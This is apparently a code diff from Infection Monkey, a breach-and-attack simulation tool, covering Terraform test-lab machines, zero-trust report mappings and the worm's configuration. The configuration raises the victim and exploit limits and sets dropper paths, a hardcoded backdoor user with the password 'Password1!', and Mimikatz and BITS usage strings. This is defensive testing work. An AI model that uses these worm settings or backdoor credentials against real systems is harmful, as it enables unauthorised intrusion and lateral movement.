name = "weblogic-18"
|
||||
name = "${local.resource_prefix}weblogic-18"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -293,13 +322,13 @@ resource "google_compute_instance_from_template" "weblogic-18" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.18"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "weblogic-19" {
|
||||
name = "weblogic-19"
|
||||
name = "${local.resource_prefix}weblogic-19"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -308,13 +337,13 @@ resource "google_compute_instance_from_template" "weblogic-19" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.19"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "smb-20" {
|
||||
name = "smb-20"
|
||||
name = "${local.resource_prefix}smb-20"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -323,13 +352,13 @@ resource "google_compute_instance_from_template" "smb-20" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.20"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "scan-21" {
|
||||
name = "scan-21"
|
||||
name = "${local.resource_prefix}scan-21"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -338,13 +367,13 @@ resource "google_compute_instance_from_template" "scan-21" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.21"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "scan-22" {
|
||||
name = "scan-22"
|
||||
name = "${local.resource_prefix}scan-22"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -353,13 +382,13 @@ resource "google_compute_instance_from_template" "scan-22" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.22"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "struts2-23" {
|
||||
name = "struts2-23"
|
||||
name = "${local.resource_prefix}struts2-23"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -368,13 +397,13 @@ resource "google_compute_instance_from_template" "struts2-23" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.23"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "struts2-24" {
|
||||
name = "struts2-24"
|
||||
name = "${local.resource_prefix}struts2-24"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -383,13 +412,13 @@ resource "google_compute_instance_from_template" "struts2-24" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.24"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "island-linux-250" {
|
||||
name = "island-linux-250"
|
||||
name = "${local.resource_prefix}island-linux-250"
|
||||
machine_type = "n1-standard-2"
|
||||
tags = ["island", "linux", "ubuntu16"]
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
|
@ -400,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.250"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing (not available in some regions)
|
||||
|
@ -410,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
|
|||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "island-windows-251" {
|
||||
name = "island-windows-251"
|
||||
name = "${local.resource_prefix}island-windows-251"
|
||||
machine_type = "n1-standard-2"
|
||||
tags = ["island", "windows", "windowsserver2016"]
|
||||
source_instance_template = "${local.default_windows}"
|
||||
|
@ -421,11 +450,11 @@ resource "google_compute_instance_from_template" "island-windows-251" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.251"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing (not available in some regions)
|
||||
// network_tier = "STANDARD"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
resource "google_compute_instance_template" "ubuntu16" {
|
||||
name = "ubuntu16"
|
||||
name = "${local.resource_prefix}ubuntu16"
|
||||
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
|
||||
|
||||
tags = ["test-machine", "ubuntu16", "linux"]
|
||||
|
@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" {
|
|||
}
|
||||
|
||||
resource "google_compute_instance_template" "windows2016" {
|
||||
name = "windows2016"
|
||||
name = "${local.resource_prefix}windows2016"
|
||||
description = "Creates windows 2016 core servers at europe-west3-a."
|
||||
|
||||
tags = ["test-machine", "windowsserver2016", "windows"]
|
||||
|
@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" {
|
|||
email="${local.service_account_email}"
|
||||
scopes=["cloud-platform"]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -30,14 +30,14 @@ class AwsInstance(object):
|
|||
self.region = self._parse_region(
|
||||
urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
|
||||
except urllib2.URLError as e:
|
||||
logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
|
||||
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e.message))
|
||||
|
||||
try:
|
||||
self.account_id = self._extract_account_id(
|
||||
urllib2.urlopen(
|
||||
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
|
||||
except urllib2.URLError as e:
|
||||
logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
|
||||
logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
|
||||
|
||||
@staticmethod
|
||||
def _parse_region(region_url_response):
|
||||
|
|
|
@ -7,7 +7,7 @@ import json
|
|||
__author__ = 'shay.nehmad'
|
||||
|
||||
|
||||
class TestFilter_instance_data_from_aws_response(TestCase):
|
||||
class TestFilterInstanceDataFromAwsResponse(TestCase):
|
||||
def test_filter_instance_data_from_aws_response(self):
|
||||
json_response_full = """
|
||||
{
|
|
@ -0,0 +1,2 @@
|
|||
from zero_trust_consts import populate_mappings
|
||||
populate_mappings()
|
|
@ -0,0 +1,2 @@
|
|||
ES_SERVICE = 'elastic-search-9200'
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user"
|
||||
POST_BREACH_BACKDOOR_USER = "Backdoor user"
|
||||
POST_BREACH_FILE_EXECUTION = "File execution"
|
|
@ -0,0 +1,205 @@
|
|||
"""
|
||||
This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and
|
||||
in creating findings.
|
||||
|
||||
This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses.
|
||||
Some of the mappings are computed when this module is loaded.
|
||||
"""
|
||||
|
||||
AUTOMATION_ORCHESTRATION = u"Automation & Orchestration"
|
||||
VISIBILITY_ANALYTICS = u"Visibility & Analytics"
|
||||
WORKLOADS = u"Workloads"
|
||||
DEVICES = u"Devices"
|
||||
NETWORKS = u"Networks"
|
||||
PEOPLE = u"People"
|
||||
DATA = u"Data"
|
||||
PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION)
|
||||
|
||||
STATUS_UNEXECUTED = u"Unexecuted"
|
||||
STATUS_PASSED = u"Passed"
|
||||
STATUS_VERIFY = u"Verify"
|
||||
STATUS_FAILED = u"Failed"
|
||||
# Don't change order! The statuses are ordered by importance/severity.
|
||||
ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED]
|
||||
|
||||
TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic"
|
||||
TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http"
|
||||
TEST_MACHINE_EXPLOITED = u"machine_exploited"
|
||||
TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists"
|
||||
TEST_SCHEDULED_EXECUTION = u"scheduled_execution"
|
||||
TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline"
|
||||
TEST_SEGMENTATION = u"segmentation"
|
||||
TEST_TUNNELING = u"tunneling"
|
||||
TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user"
|
||||
TESTS = (
|
||||
TEST_SEGMENTATION,
|
||||
TEST_MALICIOUS_ACTIVITY_TIMELINE,
|
||||
TEST_SCHEDULED_EXECUTION,
|
||||
TEST_ENDPOINT_SECURITY_EXISTS,
|
||||
TEST_MACHINE_EXPLOITED,
|
||||
TEST_DATA_ENDPOINT_HTTP,
|
||||
TEST_DATA_ENDPOINT_ELASTIC,
|
||||
TEST_TUNNELING,
|
||||
TEST_COMMUNICATE_AS_NEW_USER
|
||||
)
|
||||
|
||||
PRINCIPLE_DATA_TRANSIT = u"data_transit"
|
||||
PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security"
|
||||
PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour"
|
||||
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
|
||||
PRINCIPLE_SEGMENTATION = u"segmentation"
|
||||
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
|
||||
PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies"
|
||||
PRINCIPLES = {
|
||||
PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
|
||||
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
|
||||
PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
|
||||
PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
|
||||
PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
|
||||
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
|
||||
PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
|
||||
u"Access Control) only.",
|
||||
}
|
||||
|
||||
POSSIBLE_STATUSES_KEY = u"possible_statuses"
|
||||
PILLARS_KEY = u"pillars"
|
||||
PRINCIPLE_KEY = u"principle_key"
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation"
|
||||
TEST_EXPLANATION_KEY = u"explanation"
|
||||
TESTS_MAP = {
|
||||
TEST_SEGMENTATION: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
|
||||
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
|
||||
PILLARS_KEY: [NETWORKS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
|
||||
},
|
||||
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
|
||||
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
|
||||
},
|
||||
TEST_ENDPOINT_SECURITY_EXISTS: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
|
||||
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
||||
PILLARS_KEY: [DEVICES],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
|
||||
},
|
||||
TEST_MACHINE_EXPLOITED: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
|
||||
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
||||
PILLARS_KEY: [DEVICES],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY]
|
||||
},
|
||||
TEST_SCHEDULED_EXECUTION: {
|
||||
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
|
||||
STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
|
||||
PILLARS_KEY: [PEOPLE, NETWORKS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
|
||||
},
|
||||
TEST_DATA_ENDPOINT_ELASTIC: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
|
||||
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
|
||||
PILLARS_KEY: [DATA],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
|
||||
},
|
||||
TEST_DATA_ENDPOINT_HTTP: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
|
||||
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
|
||||
PILLARS_KEY: [DATA],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
|
||||
},
|
||||
TEST_TUNNELING: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
|
||||
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
|
||||
},
|
||||
TEST_COMMUNICATE_AS_NEW_USER: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
|
||||
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
|
||||
PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
|
||||
},
|
||||
}
|
||||
|
||||
EVENT_TYPE_MONKEY_NETWORK = "monkey_network"
|
||||
EVENT_TYPE_MONKEY_LOCAL = "monkey_local"
|
||||
EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
|
||||
|
||||
PILLARS_TO_TESTS = {
|
||||
DATA: [],
|
||||
PEOPLE: [],
|
||||
NETWORKS: [],
|
||||
DEVICES: [],
|
||||
WORKLOADS: [],
|
||||
VISIBILITY_ANALYTICS: [],
|
||||
AUTOMATION_ORCHESTRATION: []
|
||||
}
|
||||
|
||||
PRINCIPLES_TO_TESTS = {}
|
||||
|
||||
PRINCIPLES_TO_PILLARS = {}
|
||||
|
||||
|
||||
def populate_mappings():
|
||||
populate_pillars_to_tests()
|
||||
populate_principles_to_tests()
|
||||
populate_principles_to_pillars()
|
||||
|
||||
|
||||
def populate_pillars_to_tests():
|
||||
for pillar in PILLARS:
|
||||
for test, test_info in TESTS_MAP.items():
|
||||
if pillar in test_info[PILLARS_KEY]:
|
||||
PILLARS_TO_TESTS[pillar].append(test)
|
||||
|
||||
|
||||
def populate_principles_to_tests():
|
||||
for single_principle in PRINCIPLES:
|
||||
PRINCIPLES_TO_TESTS[single_principle] = []
|
||||
for test, test_info in TESTS_MAP.items():
|
||||
PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test)
|
||||
|
||||
|
||||
def populate_principles_to_pillars():
|
||||
for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
|
||||
principles_pillars = set()
|
||||
for test in principle_tests:
|
||||
for pillar in TESTS_MAP[test][PILLARS_KEY]:
|
||||
principles_pillars.add(pillar)
|
||||
PRINCIPLES_TO_PILLARS[principle] = principles_pillars
|
|
@ -0,0 +1,23 @@
|
|||
def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
|
||||
"""
|
||||
Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
|
||||
:param ip_addresses: List[str]: List of IP addresses to test.
|
||||
:param source_subnet: NetworkRange: Subnet to want an IP to not be in.
|
||||
:param target_subnet: NetworkRange: Subnet we want an IP to be in.
|
||||
:return: The cross segment IP if in source but not in target, else None. Union[str, None]
|
||||
"""
|
||||
if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None:
|
||||
return None
|
||||
return get_ip_if_in_subnet(ip_addresses, source_subnet)
|
||||
|
||||
|
||||
def get_ip_if_in_subnet(ip_addresses, subnet):
|
||||
"""
|
||||
:param ip_addresses: IP address list.
|
||||
:param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange
|
||||
:return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None.
|
||||
"""
|
||||
for ip_address in ip_addresses:
|
||||
if subnet.is_in_range(ip_address):
|
||||
return ip_address
|
||||
return None
|
|
@ -0,0 +1,30 @@
|
|||
from common.network.network_range import *
|
||||
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
|
||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||
|
||||
|
||||
class TestSegmentationUtils(IslandTestCase):
|
||||
def test_get_ip_in_src_and_not_in_dst(self):
|
||||
self.fail_if_not_testing_env()
|
||||
source = CidrRange("1.1.1.0/24")
|
||||
target = CidrRange("2.2.2.0/24")
|
||||
|
||||
# IP not in both
|
||||
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
||||
[text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
|
||||
))
|
||||
|
||||
# IP not in source, in target
|
||||
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
||||
[text_type("2.2.2.2")], source, target
|
||||
))
|
||||
|
||||
# IP in source, not in target
|
||||
self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
|
||||
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
|
||||
))
|
||||
|
||||
# IP in both subnets
|
||||
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
||||
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
|
||||
))
|
|
@ -8,3 +8,29 @@ class ScanStatus(Enum):
|
|||
SCANNED = 1
|
||||
# Technique was attempted and succeeded
|
||||
USED = 2
|
||||
|
||||
|
||||
class UsageEnum(Enum):
|
||||
SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
|
||||
ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."}
|
||||
MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
|
||||
ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."}
|
||||
MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
|
||||
ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."}
|
||||
DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
|
||||
SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
|
||||
ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
|
||||
" for monkey process wasn't successful."}
|
||||
DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
|
||||
|
||||
|
||||
# Dict that describes what BITS job was used for
|
||||
BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."
|
||||
|
||||
|
||||
def format_time(time):
|
||||
return "%s-%s %s:%s:%s" % (time.date().month,
|
||||
time.date().day,
|
||||
time.time().hour,
|
||||
time.time().minute,
|
||||
time.time().second)
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
|
||||
|
||||
# abstract, static method decorator
|
||||
class abstractstatic(staticmethod):
|
||||
__slots__ = ()
|
||||
|
||||
def __init__(self, function):
|
||||
super(abstractstatic, self).__init__(function)
|
||||
function.__isabstractmethod__ = True
|
||||
__isabstractmethod__ = True
|
|
@ -1 +1 @@
|
|||
pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
|
||||
pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
|
||||
|
|
|
@ -1,3 +1,4 @@
|
|||
import hashlib
|
||||
import os
|
||||
import json
|
||||
import sys
|
||||
|
@ -13,14 +14,15 @@ GUID = str(uuid.getnode())
|
|||
|
||||
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
||||
|
||||
SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"]
|
||||
HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden"
|
||||
|
||||
|
||||
class Configuration(object):
|
||||
|
||||
def from_kv(self, formatted_data):
|
||||
# now we won't work at <2.7 for sure
|
||||
network_import = importlib.import_module('infection_monkey.network')
|
||||
exploit_import = importlib.import_module('infection_monkey.exploit')
|
||||
post_breach_import = importlib.import_module('infection_monkey.post_breach')
|
||||
|
||||
unknown_items = []
|
||||
for key, value in formatted_data.items():
|
||||
|
@ -37,9 +39,6 @@ class Configuration(object):
|
|||
elif key == 'exploiter_classes':
|
||||
class_objects = [getattr(exploit_import, val) for val in value]
|
||||
setattr(self, key, class_objects)
|
||||
elif key == 'post_breach_actions':
|
||||
class_objects = [getattr(post_breach_import, val) for val in value]
|
||||
setattr(self, key, class_objects)
|
||||
else:
|
||||
if hasattr(self, key):
|
||||
setattr(self, key, value)
|
||||
|
@ -57,6 +56,12 @@ class Configuration(object):
|
|||
result = self.from_kv(formatted_data)
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
def hide_sensitive_info(config_dict):
|
||||
for field in SENSITIVE_FIELDS:
|
||||
config_dict[field] = HIDDEN_FIELD_REPLACEMENT_CONTENT
|
||||
return config_dict
|
||||
|
||||
def as_dict(self):
|
||||
result = {}
|
||||
for key in dir(Configuration):
|
||||
|
@ -104,8 +109,8 @@ class Configuration(object):
|
|||
dropper_set_date = True
|
||||
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
||||
dropper_date_reference_path_linux = '/bin/sh'
|
||||
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
|
||||
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
|
||||
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
|
||||
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
|
||||
dropper_target_path_linux = '/tmp/monkey'
|
||||
|
||||
###########################
|
||||
|
@ -136,10 +141,10 @@ class Configuration(object):
|
|||
exploiter_classes = []
|
||||
|
||||
# how many victims to look for in a single scan iteration
|
||||
victims_max_find = 30
|
||||
victims_max_find = 100
|
||||
|
||||
# how many victims to exploit before stopping
|
||||
victims_max_exploit = 7
|
||||
victims_max_exploit = 15
|
||||
|
||||
# depth of propagation
|
||||
depth = 2
|
||||
|
@ -161,9 +166,8 @@ class Configuration(object):
|
|||
|
||||
keep_tunnel_open_time = 60
|
||||
|
||||
# Monkey files directories
|
||||
monkey_dir_linux = '/tmp/monkey_dir'
|
||||
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir'
|
||||
# Monkey files directory name
|
||||
monkey_dir_name = 'monkey_dir'
|
||||
|
||||
###########################
|
||||
# scanners config
|
||||
|
@ -179,7 +183,7 @@ class Configuration(object):
|
|||
|
||||
# TCP Scanner
|
||||
HTTP_PORTS = [80, 8080, 443,
|
||||
8008, # HTTP alternate
|
||||
8008, # HTTP alternate
|
||||
7001 # Oracle Weblogic default server port
|
||||
]
|
||||
tcp_target_ports = [22,
|
||||
|
@ -195,7 +199,7 @@ class Configuration(object):
|
|||
9200]
|
||||
tcp_target_ports.extend(HTTP_PORTS)
|
||||
tcp_scan_timeout = 3000 # 3000 Milliseconds
|
||||
tcp_scan_interval = 0
|
||||
tcp_scan_interval = 0 # in milliseconds
|
||||
tcp_scan_get_banner = True
|
||||
|
||||
# Ping Scanner
|
||||
|
@ -205,15 +209,13 @@ class Configuration(object):
|
|||
# exploiters config
|
||||
###########################
|
||||
|
||||
should_exploit = True
|
||||
skip_exploit_if_file_exist = False
|
||||
|
||||
ms08_067_exploit_attempts = 5
|
||||
user_to_add = "Monkey_IUSER_SUPPORT"
|
||||
remote_user_pass = "Password1!"
|
||||
|
||||
# rdp exploiter
|
||||
rdp_use_vbs_download = True
|
||||
|
||||
# User and password dictionaries for exploits.
|
||||
|
||||
def get_exploit_user_password_pairs(self):
|
||||
|
@ -276,5 +278,17 @@ class Configuration(object):
|
|||
PBA_linux_filename = None
|
||||
PBA_windows_filename = None
|
||||
|
||||
@staticmethod
|
||||
def hash_sensitive_data(sensitive_data):
|
||||
"""
|
||||
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
|
||||
saved on client machines plain-text.
|
||||
|
||||
:param sensitive_data: the data to hash.
|
||||
:return: the hashed data.
|
||||
"""
|
||||
password_hashed = hashlib.sha512(sensitive_data).hexdigest()
|
||||
return password_hashed
|
||||
|
||||
|
||||
WormConfiguration = Configuration()
|
||||
|
|
|
@ -20,6 +20,12 @@ requests.packages.urllib3.disable_warnings()
|
|||
LOG = logging.getLogger(__name__)
|
||||
DOWNLOAD_CHUNK = 1024
|
||||
|
||||
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
|
||||
|
||||
# random number greater than 5,
|
||||
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
|
||||
TIMEOUT_IN_SECONDS = 15
|
||||
|
||||
|
||||
class ControlClient(object):
|
||||
proxies = {}
|
||||
|
@ -73,7 +79,7 @@ class ControlClient(object):
|
|||
